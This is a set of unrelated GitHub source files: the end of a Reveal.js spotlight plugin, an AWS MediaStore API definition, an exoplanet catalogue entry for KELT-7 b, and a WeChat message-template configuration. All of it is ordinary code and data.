}else{ document.body.style.userSelect = "none"; if(presentingCursorOnlyVisibleWhenSpotlightVisible){ document.body.style.cursor = "none"; }else{ document.body.style.cursor = presentingCursor; } } } function showSpotlight(mouseEvt) { var canvas = drawBoard.canvas; var context = drawBoard.context; var mousePos = getMousePos(canvas, mouseEvt); context.clearRect(0,0,canvas.width, canvas.height); // Create a canvas mask var maskCanvas = document.createElement('canvas'); maskCanvas.width = canvas.width; maskCanvas.height = canvas.height; var maskCtx = maskCanvas.getContext('2d'); maskCtx.fillStyle = "#000000A8"; maskCtx.fillRect(0, 0, maskCanvas.width, maskCanvas.height); maskCtx.globalCompositeOperation = 'xor'; maskCtx.fillStyle = "#FFFFFFFF"; maskCtx.arc(mousePos.x, mousePos.y, spotlightSize, 0, 2 * Math.PI); maskCtx.fill(); context.drawImage(maskCanvas, 0, 0); } function getMousePos(canvas, evt) { var rect = canvas.getBoundingClientRect(); return { x: evt.clientX - rect.left, y: evt.clientY - rect.top }; } Reveal.addEventListener('ready', onRevealJsReady); this.toggleSpotlight = toggleSpotlight; this.togglePresentationMode = togglePresentationMode; return this; })();
{ "pile_set_name": "Github" }
{ "version":"2.0", "metadata":{ "apiVersion":"2017-09-01", "endpointPrefix":"mediastore", "jsonVersion":"1.1", "protocol":"json", "serviceAbbreviation":"MediaStore", "serviceFullName":"AWS Elemental MediaStore", "serviceId":"MediaStore", "signatureVersion":"v4", "signingName":"mediastore", "targetPrefix":"MediaStore_20170901", "uid":"mediastore-2017-09-01" }, "operations":{ "CreateContainer":{ "name":"CreateContainer", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"CreateContainerInput"}, "output":{"shape":"CreateContainerOutput"}, "errors":[ {"shape":"ContainerInUseException"}, {"shape":"LimitExceededException"}, {"shape":"InternalServerError"} ] }, "DeleteContainer":{ "name":"DeleteContainer", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"DeleteContainerInput"}, "output":{"shape":"DeleteContainerOutput"}, "errors":[ {"shape":"ContainerInUseException"}, {"shape":"ContainerNotFoundException"}, {"shape":"InternalServerError"} ] }, "DeleteContainerPolicy":{ "name":"DeleteContainerPolicy", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"DeleteContainerPolicyInput"}, "output":{"shape":"DeleteContainerPolicyOutput"}, "errors":[ {"shape":"ContainerInUseException"}, {"shape":"ContainerNotFoundException"}, {"shape":"PolicyNotFoundException"}, {"shape":"InternalServerError"} ] }, "DeleteCorsPolicy":{ "name":"DeleteCorsPolicy", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"DeleteCorsPolicyInput"}, "output":{"shape":"DeleteCorsPolicyOutput"}, "errors":[ {"shape":"ContainerInUseException"}, {"shape":"ContainerNotFoundException"}, {"shape":"CorsPolicyNotFoundException"}, {"shape":"InternalServerError"} ] }, "DescribeContainer":{ "name":"DescribeContainer", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"DescribeContainerInput"}, "output":{"shape":"DescribeContainerOutput"}, "errors":[ {"shape":"ContainerNotFoundException"}, {"shape":"InternalServerError"} ] }, "GetContainerPolicy":{ "name":"GetContainerPolicy", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"GetContainerPolicyInput"}, "output":{"shape":"GetContainerPolicyOutput"}, "errors":[ {"shape":"ContainerInUseException"}, {"shape":"ContainerNotFoundException"}, {"shape":"PolicyNotFoundException"}, {"shape":"InternalServerError"} ] }, "GetCorsPolicy":{ "name":"GetCorsPolicy", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"GetCorsPolicyInput"}, "output":{"shape":"GetCorsPolicyOutput"}, "errors":[ {"shape":"ContainerInUseException"}, {"shape":"ContainerNotFoundException"}, {"shape":"CorsPolicyNotFoundException"}, {"shape":"InternalServerError"} ] }, "ListContainers":{ "name":"ListContainers", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"ListContainersInput"}, "output":{"shape":"ListContainersOutput"}, "errors":[ {"shape":"InternalServerError"} ] }, "PutContainerPolicy":{ "name":"PutContainerPolicy", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"PutContainerPolicyInput"}, "output":{"shape":"PutContainerPolicyOutput"}, "errors":[ {"shape":"ContainerNotFoundException"}, {"shape":"ContainerInUseException"}, {"shape":"InternalServerError"} ] }, "PutCorsPolicy":{ "name":"PutCorsPolicy", "http":{ "method":"POST", "requestUri":"/" }, "input":{"shape":"PutCorsPolicyInput"}, "output":{"shape":"PutCorsPolicyOutput"}, "errors":[ {"shape":"ContainerNotFoundException"}, {"shape":"ContainerInUseException"}, {"shape":"InternalServerError"} ] } }, "shapes":{ "AllowedHeaders":{ "type":"list", "member":{"shape":"Header"}, "max":100, "min":0 }, "AllowedMethods":{ "type":"list", "member":{"shape":"MethodName"} }, "AllowedOrigins":{ "type":"list", "member":{"shape":"Origin"} }, "Container":{ "type":"structure", "members":{ "Endpoint":{"shape":"Endpoint"}, "CreationTime":{"shape":"TimeStamp"}, "ARN":{"shape":"ContainerARN"}, "Name":{"shape":"ContainerName"}, "Status":{"shape":"ContainerStatus"} } }, "ContainerARN":{ "type":"string", "max":1024, "min":1, "pattern":"arn:aws:mediastore:[a-z]+-[a-z]+-\\d:\\d{12}:container/\\w{1,255}" }, "ContainerInUseException":{ "type":"structure", "members":{ "Message":{"shape":"ErrorMessage"} }, "exception":true }, "ContainerList":{ "type":"list", "member":{"shape":"Container"} }, "ContainerListLimit":{ "type":"integer", "max":100, "min":1 }, "ContainerName":{ "type":"string", "max":255, "min":1, "pattern":"\\w+" }, "ContainerNotFoundException":{ "type":"structure", "members":{ "Message":{"shape":"ErrorMessage"} }, "exception":true }, "ContainerPolicy":{ "type":"string", "max":8192, "min":1, "pattern":"[\\u0009\\u000A\\u000D\\u0020-\\u00FF]+" }, "ContainerStatus":{ "type":"string", "enum":[ "ACTIVE", "CREATING", "DELETING" ], "max":16, "min":1 }, "CorsPolicy":{ "type":"list", "member":{"shape":"CorsRule"}, "max":100, "min":1 }, "CorsPolicyNotFoundException":{ "type":"structure", "members":{ "Message":{"shape":"ErrorMessage"} }, "exception":true }, "CorsRule":{ "type":"structure", "members":{ "AllowedOrigins":{"shape":"AllowedOrigins"}, "AllowedMethods":{"shape":"AllowedMethods"}, "AllowedHeaders":{"shape":"AllowedHeaders"}, "MaxAgeSeconds":{"shape":"MaxAgeSeconds"}, "ExposeHeaders":{"shape":"ExposeHeaders"} } }, "CreateContainerInput":{ "type":"structure", "required":["ContainerName"], "members":{ "ContainerName":{"shape":"ContainerName"} } }, "CreateContainerOutput":{ "type":"structure", "required":["Container"], "members":{ "Container":{"shape":"Container"} } }, "DeleteContainerInput":{ "type":"structure", "required":["ContainerName"], "members":{ "ContainerName":{"shape":"ContainerName"} } }, "DeleteContainerOutput":{ "type":"structure", "members":{ } }, "DeleteContainerPolicyInput":{ "type":"structure", "required":["ContainerName"], "members":{ "ContainerName":{"shape":"ContainerName"} } }, "DeleteContainerPolicyOutput":{ "type":"structure", "members":{ } }, "DeleteCorsPolicyInput":{ "type":"structure", "required":["ContainerName"], "members":{ "ContainerName":{"shape":"ContainerName"} } }, "DeleteCorsPolicyOutput":{ "type":"structure", "members":{ } }, "DescribeContainerInput":{ "type":"structure", "members":{ "ContainerName":{"shape":"ContainerName"} } }, "DescribeContainerOutput":{ "type":"structure", "members":{ "Container":{"shape":"Container"} } }, "Endpoint":{ "type":"string", "max":255, "min":1 }, "ErrorMessage":{ "type":"string", "max":255, "min":1, "pattern":"[ \\w:\\.\\?-]+" }, "ExposeHeaders":{ "type":"list", "member":{"shape":"Header"}, "max":100, "min":0 }, "GetContainerPolicyInput":{ "type":"structure", "required":["ContainerName"], "members":{ "ContainerName":{"shape":"ContainerName"} } }, "GetContainerPolicyOutput":{ "type":"structure", "required":["Policy"], "members":{ "Policy":{"shape":"ContainerPolicy"} } }, "GetCorsPolicyInput":{ "type":"structure", "required":["ContainerName"], "members":{ "ContainerName":{"shape":"ContainerName"} } }, "GetCorsPolicyOutput":{ "type":"structure", "required":["CorsPolicy"], "members":{ "CorsPolicy":{"shape":"CorsPolicy"} } }, "Header":{ "type":"string", "max":8192, "min":1, "pattern":"[\\u0009\\u000A\\u000D\\u0020-\\u00FF]+" }, "InternalServerError":{ "type":"structure", "members":{ "Message":{"shape":"ErrorMessage"} }, "exception":true, "fault":true }, "LimitExceededException":{ "type":"structure", "members":{ "Message":{"shape":"ErrorMessage"} }, "exception":true }, "ListContainersInput":{ "type":"structure", "members":{ "NextToken":{"shape":"PaginationToken"}, "MaxResults":{"shape":"ContainerListLimit"} } }, "ListContainersOutput":{ "type":"structure", "required":["Containers"], "members":{ "Containers":{"shape":"ContainerList"}, "NextToken":{"shape":"PaginationToken"} } }, "MaxAgeSeconds":{ "type":"integer", "max":2147483647, "min":0 }, "MethodName":{ "type":"string", "enum":[ "PUT", "GET", "DELETE", "HEAD" ] }, "Origin":{ "type":"string", "pattern":"[\\u0009\\u000A\\u000D\\u0020-\\u00FF]+" }, "PaginationToken":{ "type":"string", "max":255, "min":1, "pattern":"[0-9A-Za-z=/+]+" }, "PolicyNotFoundException":{ "type":"structure", "members":{ "Message":{"shape":"ErrorMessage"} }, "exception":true }, "PutContainerPolicyInput":{ "type":"structure", "required":[ "ContainerName", "Policy" ], "members":{ "ContainerName":{"shape":"ContainerName"}, "Policy":{"shape":"ContainerPolicy"} } }, "PutContainerPolicyOutput":{ "type":"structure", "members":{ } }, "PutCorsPolicyInput":{ "type":"structure", "required":[ "ContainerName", "CorsPolicy" ], "members":{ "ContainerName":{"shape":"ContainerName"}, "CorsPolicy":{"shape":"CorsPolicy"} } }, "PutCorsPolicyOutput":{ "type":"structure", "members":{ } }, "TimeStamp":{"type":"timestamp"} } }
{ "pile_set_name": "Github" }
<system> <name>KELT-7</name> <rightascension>05 13 10.9287</rightascension> <declination>+33 19 05.4032</declination> <distance errorminus="8" errorplus="8">129</distance> <star> <name>KELT-7</name> <name>HD 33643</name> <name>BD+33 977</name> <name>HIP 24323</name> <name>PPM 70046</name> <name>TYC 2393-852-1</name> <name>2MASS J05131092+331954</name> <name>Gaia DR2 181908842994567936</name> <mass errorminus="0.054" errorplus="0.066">1.535</mass> <radius errorminus="0.045" errorplus="0.043">1.732</radius> <temperature errorminus="49" errorplus="50">6789</temperature> <magV errorminus="0.030" errorplus="0.030">8.540</magV> <magB errorminus="0.030" errorplus="0.030">8.970</magB> <magJ errorminus="0.030" errorplus="0.030">7.739</magJ> <magH errorminus="0.042" errorplus="0.042">7.580</magH> <magK errorminus="0.030" errorplus="0.030">7.543</magK> <magI errorminus="0.051" errorplus="0.051">8.129</magI> <metallicity errorminus="0.081" errorplus="0.075">0.139</metallicity> <spectraltype>F2</spectraltype> <age errorminus="0.2" errorplus="0.2">1.3</age> <planet> <name>KELT-7 b</name> <name>HD 33643 b</name> <name>BD+33 977 b</name> <name>HIP 24323 b</name> <name>PPM 70046 b</name> <name>TYC 2393-852-1 b</name> <name>2MASS J05131092+331954 b</name> <name>Gaia DR2 181908842994567936 b</name> <list>Confirmed planets</list> <mass errorminus="0.18" errorplus="0.18">1.28</mass> <radius errorminus="0.047" errorplus="0.046">1.533</radius> <temperature errorminus="27" errorplus="27">2048</temperature> <period errorminus="0.0000039" errorplus="0.0000039">2.7347749</period> <semimajoraxis errorminus="0.00052" errorplus="0.00062">0.04415</semimajoraxis> <inclination errorminus="0.37" errorplus="0.38">83.76</inclination> <transittime errorminus="0.000198" errorplus="0.000198">2456355.229809</transittime> <description>KELT-7b is a hot Jupiter hosted by a rapid rotating star. This results in a Rossiter-McLaughlin effect with an unusually large amplitude.</description> <discoverymethod>transit</discoverymethod> <lastupdate>15/01/22</lastupdate> <discoveryyear>2015</discoveryyear> <istransiting>1</istransiting> </planet> </star> </system>
{ "pile_set_name": "Github" }
{ "templateName":"微信模板", "directories": "property", "templateCode":"wechatSmsTemplate", "templateKey":"templateId", "templateKeyName":"ID", "searchCode": "templateId", "searchName": "ID", "conditions": [ { "name": "微信模板ID", "inputType": "input", "code": "smsTemplateId", "whereCondition": "equal" }, { "name": "模板类型", "inputType": "select", "selectValue":"10001,10002,10003", "selectValueName":"欠费催缴,停电通知,停水通知", "code": "templateType", "whereCondition": "equal" }, { "name": "模板编码", "inputType": "input", "code": "templateId", "whereCondition": "equal" } ], "columns":[ { "code":"templateType", "cnCode":"模板类型", "desc":"必填,请填写模板类型", "required":true, "hasDefaultValue":false, "inputType": "select", "selectValue":"10001,10002,10003", "selectValueName":"欠费催缴,停电通知,停水通知", "limit":"num", "limitParam":"", "limitErrInfo":"模板格式错误", "show": true }, { "code": "smsTemplateId", "cnCode":"微信模板ID", "desc":"必填,请填写微信模板ID", "required":true, "hasDefaultValue":false, "inputType": "input", "limit":"maxLength", "limitParam":"64", "limitErrInfo":"微信模板ID太长", "show": true }, { "code": "remark", "cnCode":"说明", "desc":"选填,请填写说明", "required":false, "hasDefaultValue":false, "inputType": "input", "limit":"maxLength", "limitParam":"500", "limitErrInfo":"说明不能超过500位", "show": false } ] }
{ "pile_set_name": "Github" }